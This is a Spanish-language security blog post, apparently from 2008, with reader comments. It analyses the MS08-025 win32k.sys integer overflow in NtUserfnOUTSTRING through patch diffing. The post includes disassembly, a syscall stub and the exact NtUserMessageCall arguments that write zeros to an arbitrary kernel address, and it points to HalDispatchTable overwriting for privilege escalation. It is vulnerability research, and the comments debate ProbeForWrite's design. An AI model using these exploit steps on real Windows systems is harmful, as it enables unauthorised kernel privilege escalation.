Random IRC quote :      <coder> lo que quieras <coder> pero eres tonto

Baila el chiniwini. Nos adentramos en la MS08-25….

[actualizado] Este fallo concrétamente no afecta a Vista y posteriores

El boletín de este mes de Microsoft ha traido cosas interesantes, a la par que peligrosas en algunos casos. Si algún componente se lleva la palma, es parte del subsistema «ventanil» tanto en user-mode como en el kernel. Parte del núcleo, en concreto win32k.sys se ve afectado por -según el boletín de microsoft- una vulnerabilidad que permitiría a usuarios locales elevar sus privilegios(MS08-25). La gente de immunity en apenas un par de horas sacó un exploit funcional para vista y 2008 hoy desde el blog de SWI daban alguna información adicional. Ahora que no nos ve nadie yo os cuento lo que he visto «bindiffeando» un poco el tema. Los ingenieros de Microsoft se han puesto las pilas y han parcheado multitud de potenciales integer overflows aprovechando la coyuntura. La vulnerabilidad en sí, es también un integer overflow en una serie de funciones nativas que exporta win32k.sys. Vamos con ello…


No nos tenemos que ir muy lejos a buscar, la primera función con el menor ratio de similitud que nos presenta DarumGrim va a resultar ser una de las funciones vulnerables: NtUserfnOUTSTRING

diff1.png

Si le echáis un ojo al código, se vé claramente como el parche se ocupa de solucionar un integer overflow, por el cual podemos traspasar la protección del ProbeForWrite, ya que este no contempla la opción de comprobar un tamaño de memoria igual a 0 ( si leeis el post de SWI os explican porqué )

PAGE:0048E540 ; void __stdcall ProbeForWrite(PVOID Address,SIZE_T Length,ULONG Alignment)
PAGE:0048E540                 public _ProbeForWrite@12
PAGE:0048E540 _ProbeForWrite@12 proc near             ; CODE XREF: KiInitializeUserApc(x,x,x,x,x,x)+6Fp
PAGE:0048E540                                         ; KiDispatchException(x,x,x,x,x)+C02Ep …
PAGE:0048E540
PAGE:0048E540 Address         = dword ptr  8
PAGE:0048E540 Length          = dword ptr  0Ch
PAGE:0048E540 Alignment       = dword ptr  10h
PAGE:0048E540
PAGE:0048E540                 mov     edi, edi
PAGE:0048E542                 push    ebp
PAGE:0048E543                 mov     ebp, esp
PAGE:0048E545                 mov     eax, [ebp+Length]
PAGE:0048E548                 test    eax, eax
PAGE:0048E54A                 jz      short loc_48E587 ; que te pires!!
 

El fallo es simple, si tenemos que MAX_INT es 0x7FFFFFFFF

;NtUserfnOUTSTRING  Module: win32k.sys
.text:BF86A65A                 mov     ecx, 7FFFFFFFh
 

podemos overflowearlo pasando como parámetro 0x80000000 como vemos aquí

.text:BF86A696                 and     eax, ecx       ; Baila el chikichiki
.text:BF86A698                 push    eax             ; Length  – 0
.text:BF86A699                 push    esi             ; Address  – User-controlled
.text:BF86A69A                 call    ds:__imp__ProbeForWrite@12 ; ProbeForWrite(x,x,x)
</pre lang="asm">

Y ya está liada, a partir de aquí hay que ver cómo se usa esta  dirección para buscar la mejor manera de explotar el tema. Y la propia función nos lo "da hecho", avanzando un poco en el código de esta función, y después de que esta enrute hacia otras funcioines asociadas, tenemos esto:

<pre lang="asm">
.text:BF86A623 loc_BF86A623:                           ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x)+85j
.text:BF86A623                 cmp     [ebp+arg_8], eax
.text:BF86A626                 jz      loc_BF86A6D1
.text:BF86A62C                 mov     [ebp+ms_exc.disabled], ebx
.text:BF86A62F                 push    [ebp+arg_18]
.text:BF86A632                 push    esi   ; La dirección que controlamos
.text:BF86A633                 call    _NullTerminateString@8 ; NullTerminateString(x,x)

.text:BF8CE141 ; __stdcall NullTerminateString(x, x)
.text:BF8CE141 _NullTerminateString@8 proc near        ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x)-13p
.text:BF8CE141                                         ; _GetAltTabInfo(x,x,x,x,x)+B6p …
.text:BF8CE141
.text:BF8CE141 arg_0           = dword ptr  8
.text:BF8CE141 arg_4           = dword ptr  0Ch
.text:BF8CE141
.text:BF8CE141                 mov     edi, edi
.text:BF8CE143                 push    ebp
.text:BF8CE144                 mov     ebp, esp
.text:BF8CE146                 mov     ecx, [ebp+arg_0]  
.text:BF8CE149                 xor     eax, eax
.text:BF8CE14B                 cmp     [ebp+arg_4], eax
.text:BF8CE14E                 jnz     short loc_BF8CE157
.text:BF8CE150                 mov     [ecx], ax           ;   TRAKATRA !!

 

Pues ya tenemos un forma de sobreescribir con 0’s cualquier dirección del kernel con lo que la explotación es trivial, mismamente el método de HalDispatchTable que uso en muchos exploits para drivers, se puede usar en este caso también.

A la hora de hacer exploits basándose en revertir los parches, mi opinión es que lo más costoso algunas veces es encontrar la forma de llegar hasta el código vulnerable no tanto identificarlo.Si lo consigues, a partir de ahí todo se simplifica bastante. Mención aparte merecen los fallos en Office que por norma general es de lo más asqueroso para hacer ingeniería inversa.

En este caso tampoco es dificil encontrar el camino al código vulnerable. En primer lugar vamos a buscar las xrefs y vemos que no hay que dar mucho rodeo.

.text:BF86A646 ; int __stdcall NtUserfnOUTSTRING(int,int,int,PVOID Address,int,int,int)
.text:BF86A646 _NtUserfnOUTSTRING@28 proc near         ; CODE XREF: xxxDefWindowProc(x,x,x,x)+6Ep
.text:BF86A646                                         ; <strong>NtUserMessageCall</strong>(x,x,x,x,x,x,x)+61p …
 

Esta syscall es la que enruta los mensajes hacia las funciones correspondientes:

.text:BF80F7A6                 movzx   eax, ds:_MessageTable[eax] ;
.text:BF80F7AD                 push    ecx             ; int
.text:BF80F7AE                 push    [ebp+arg_10]    ; int
.text:BF80F7B1                 and     eax, 3Fh
.text:BF80F7B4                 push    [ebp+Address]   ; wchar_t *
.text:BF80F7B7                 push    [ebp+arg_8]     ; int
.text:BF80F7BA                 push    [ebp+arg_4]     ; int
.text:BF80F7BD                 push    esi             ; int
.text:BF80F7BE                 call    ds:_gapfnMessageCall[eax*4] ; NtUserfnINSTRINGNULL(x,x,x,x,x,x,x)
 

Símplemente miramos en gapfnMessageCall

.rdata:BF98F4B8 _gapfnMessageCall dd offset _NtUserfnNCDESTROY@28
.rdata:BF98F4B8    ; DATA XREF: NtUserMessageCall(x,x,x,x,x,x,x)+61r
.rdata:BF98F4B8    ; NtUserfnNCDESTROY(x,x,x,x,x,x,x)
.rdata:BF98F4BC          dd offset _NtUserfnNCDESTROY@28 ; NtUserfnNCDESTROY(x,x,x,x,x,x,x)
.rdata:BF98F4C0          dd offset _NtUserfnINLPCREATESTRUCT@28 ; NtUserfnINLPCREATESTRUCT(x,x,x,x,x,x,x)
.rdata:BF98F4C4          dd offset _NtUserfnINSTRINGNULL@28 ; NtUserfnINSTRINGNULL(x,x,x,x,x,x,x)
.rdata:BF98F4C8          dd offset _NtUserfnOUTSTRING@28 ; NtUserfnOUTSTRING(x,x,x,x,x,x,x)
 

Osea que el índice para esta table debería ser 4, como este índice se compone de *(BYTE*)MessageTable[eax] & 3Fh, siendo eax lo que nosotros controlamos desde usermode, hay que enviarle un valor de 0xD que corresponderá en la tabla a 0xC4 ( 0xC4 & 0x3F = 4 ).
Por último sólo nos queda llamar nativamente a esta función, para evitar cualquier otro check que se pudiera hacer en user-mode y así controlar totalmente los parámetros que le pasamos. Aunque no está documentado, tras un par de intentos es fácil dar con los valores. También podrías poner un breakpoint en la función y echar un ojo a la pila para dar con la estructura adecuada.

Yo lo que hice fue sacar la info desde user32.dll diréctamente y fuera

_declspec(naked) ULONG __stdcall
NtUserMessageCall
(       
    IN ULONG_PTR arg1,
    IN ULONG_PTR arg2,
    IN ULONG_PTR arg3,
    IN ULONG_PTR arg4,
    IN ULONG_PTR arg5,
    IN ULONG_PTR arg6,
    IN ULONG_PTR arg7
)
{
        __asm
        {
                mov eax, 000011cch  ; NtUserMessageCall
                mov edx, 7ffe0300h   ; XP SP2
                call dword ptr [edx]
                retn 1Ch
        }
}
 

y por último la llamada que te abrirá las puertas del Reino si lo sabes aprovechar

NtUserMessageCall(      hWnd,
                                0xD,  
                                0x80000000,
                                Kerneeeeeeeeel,
                                0x84,
                                0x2b0,
                                0x0 );

 

Esta no es la única función afectada, además hay unos cuantos integer overflows parcheados pero que están mas relacionados con heap under-allocations,aunque en teoría explotables, suelen ser bastante más liosos y mucho menos estables. Este fallo mola, además se lleva por delante a todas las versiones de Windows.[NO, este fallo concrétamente no afecta a Vista y posteriores]

Bueno, se acabó. Adeu.

14 Comentarios para “Baila el chiniwini. Nos adentramos en la MS08-25….”

  1. Comment por Ruben | 04/10/08 at 5:56 am

    Para los «kerneleros» que pasan por aquí, ¿qué os parece la razon que aduce Microsoft para no parchear ProbeForWrite y ProbeForRead? Bien que no suelten la excepción cuando encuentran longitud cero, pero lo que no me parece normal es que no la suelten tampoco cuando en una función que es usada para chequear direcciones de usuario, se ponga primero el check del zero length que afecta al flujo definítivamente, y después se ponga el check del MmUserProbeAddress. La verdad es que no me había a parado a pensar esa situación y se me están ocurriendo varios sitios donde este comportamiento se puede explotar.

    Opinioneees…

  2. Comment por Zohiartze Herce | 04/10/08 at 4:18 pm

    Hombre, servidor el roio que vé primero es algo que en su opinión es un mal habito de programación. De la variable Lenght, interesa el valor definitivo que va a tener; luego se debería validar el valor que toma esa variable despues de realizar las operaciones que sea con ella. Comprobar el valor de la variable primero y despues realizar operaciones sobre ella, aunque a priori no vayan a ser operaciones que fuesen a modificar el resultado de la validación anterior me parece peligroso por diseño. ¿Que pasa si un tiempo más tarde se modifica el algoritmo para que haga otras operaciones sobre la variable? Si la validación la tienes al final, normalmente puedes cambiar el algoritmo tranquilamente. Pero si la validación la has metido antes, tendras que preguntarte si las nuevas operaciones no tendrán repercusión sobre la validación que ya habias hecho…

    Sobre la posibilidad de que se abra un escenario con posibilidades de explotar otros componentes del nucleo con funcionamiento similar, nos lo tendreis que contar quienes os dedicais a esto… Servidor mas bien tiene la impresión de que unos cuantos picadores de Microsoft han debido pasar unos días bastante aburridos buscando todas las llamadas a ProbeForWrite y ProbeForRead y modificando las validaciones anteriores en los casos necesarios.

    ¿Aparte del Win32k.sys hay algun otro componente del nucleo afectado? Y como siempre, ¿que pasa con los anarco drivers de terceros? Ahí seguro que teneis más que mirar…

  3. Comment por Victor | 04/10/08 at 4:42 pm

    Si le pasas una longitud cero a ProbeForRead le estás diciendo que quieres comprobar si es posible leer cero bytes en una dirección determinada. La pregunta entonces es … ¿qué significa leer cero bytes? Obviamente en Microsoft decidieron que leer cero bytes es como no leer nada, y por lo tanto da igual la dirección que le pases a ProbeForRead, se asume que es correcto leer 0 bytes de cualquier lugar. Conceptualmente yo creo que no está mal ese enfoque, y es que si se comprueba primero la dirección para ver si es posible leer de ella, entonces se estaría asumiendo que vas a leer al menos un byte, por lo tanto sería lo mismo pasar una longitud 0 que longitud 1. No sé, yo no lo veo mal, el problema en realidad está en las funciones que tienen el integer overflow, que es lo que han arreglado al final.

  4. Comment por Ruben | 04/10/08 at 6:09 pm

    Victor yo no lo veo así ya que ProbeForRead y ProbeForWrite son funciones específicas para verificar únicamente direcciones potencialmente maliciosas obtenidas de user-mode. Entonces no se puede pasar por alto que la dirección sea del kernel aunque la longitud sea 0, porque quiere decir que nos la están clavando.

    Y creo que el flujo de la funcion contradice su cometido. Si se pone dentro de ProbeForWrite el primer check para comprobar si es mayor que MmUserProbeAddress y despues el de 0 todo queda arreglado, pero tal y como está ahora a mi modo de ver es una fuente de problemas porque se está como válida auna dirección del Kernel, eso es una fuente de problemas.

  5. aLS
    Comment por aLS | 04/10/08 at 10:32 pm

    Estoy de acuerdo con Victor.. el developer tiene que saber para que y como se usa ProbeForRead… si lo usas como la maxima y unica proteccion para todo, va a fallar… si lo usas para chequear que un buffer no sea del espacio de mem de user, validando previamente que no le vas a preguntar si podes leer 0 bytes (vamos.. que es un simple != 0) no hay problema.

    Ruben, el tema es que estas funciones no son como vos decis «para verificar únicamente direcciones potencialmente maliciosas obtenidas de user-mode» sino «checks that a user-mode buffer actually resides in the user portion of the address space, and is correctly aligned» es una diferencia sutil, pero no esta pensado como un chequeo para evitar argumentos maliciosos especificamente.. sino que *puede* ser usado para eso.. combinado con otras medidas.

    Igualmente, aunque para mi funcione bien, creo que no tiene sentido no modificarlas porque seria muy simple y evitaria confusiones, es la historia de siempre con microsoft. Saludos

  6. Comment por Ruben | 04/10/08 at 11:52 pm

    aLS si como la documentación especifica y tu has recordado:
    http://msdn2.microsoft.com/en-us/library/ms797108.aspx
    «The ProbeForWrite routine checks that a user-mode buffer actually resides in the user-mode portion of the address space, is writable, and is correctly aligned.»

    ¿Alguien me puede explicar por qué entonces es verdadero esto?

    ProbeForWrite(0xDEADBEEF,0,4)

    si ni cumple que sea writable ni que esté alineado ni que esté en el espacio de memoria correspondiente a user-mode?

  7. Comment por Zohiartze Herce | 04/11/08 at 12:19 am

    Tal vez por que no se trata estrictamente de un buffer, ya que tiene tamaño 0. Llamemos a Noam Chomsky para que analice la frase…

  8. Comment por Ruben | 04/11/08 at 12:35 am

    Zori por qué no es un buffer? puede ser un buffer como la copa de un pino, ProbeForWrite no es la encargada de dictaminar si es un buffer o no ni si este es válido dentro de su ámbito sino de si está en user-mode, es writable y esta alineado.

    Ejemplo

    char chispun[40];
    char trakatra[80];

    ProbeForWrite(chispun,100,0) =>> Valido

  9. Comment por Ruben | 04/11/08 at 1:07 am

    Bueno, se acabó la discusión.

    ProbeForWrite se tiene que quedar así por cuestiones de compatibilidad, ya que si se pusiera antes el check contra MmUserProbeAddress sería bastante peor el remedio que la enfermedad.

    No es que lo diga yo, sino que lo dicen quienes lo tienen que decir… 😉

    También otra aclaración, parece que el fallo de ntUserfnOUTSTRING no afecta a Vista y posteriores.

    Saludos.

  10. aLS
    Comment por aLS | 04/11/08 at 1:14 am

    >ProbeForWrite(0xDEADBEEF,0,4)

    >si ni cumple que sea writable ni que esté alineado ni que esté en el espacio de memoria >correspondiente a user-mode?

    Porque escribir 0 bytes == no escribir.

    Entonces… no es verdad que podes «no escribir» en cualquier lado? para mi si. Y es coherente con la descripcion de la funcion.

    .aLS

  11. Comment por Ruben | 04/11/08 at 1:20 am

    if( A && B && C) return TRUE;

    A= WRITABLE
    B= ALIGNED
    C= USERMODE

    ¿Donde está la coherencia si B y C son falsas?

    Incluso asumiendo que A es verdadera, cosa que aunque le estés pasando 0 bytes no se comprueba en ningun momento.

  12. aLS
    Comment por aLS | 04/11/08 at 10:55 am

    Bueno, no creo que necesariamente de la descripcion se desprenda esa premisa… pero acepto que se puede prestar a confusion, en tal caso me parece que lo mas razonable seria «patchear» la descripcion y ya, no te parece?

  13. Comment por Ruben | 04/11/08 at 6:18 pm

    Sí, la verdad es que no estaría de más cambiar la descripción para explicar algunos casos como el que discutíamos aquí.

  14. Comment por Miguel | 04/12/08 at 6:56 pm

    /*++
    Buenas tardes

    Llegue bastante tarde a esta discusion.
    Por lo que veo ya esta todo el pescado vendido XDDD

    Por mi parte yo soy mas partidario de la posicion defendida por Victor que la defendida por Ruben. Es cierto que puedo gestionar en una funcion un buffer *chungo* sin peligro, si de el no leo ni un solo byte, y la funcion asi lo indica no pegandome un excepcionazo. Si el programador la caga despues del ProbeForXXXX y accede al puntero pues entonces ardera en el infierno junto con toda su perfida descendencia por tamaña afrenta

    –*/

Se han cerrado los comentarios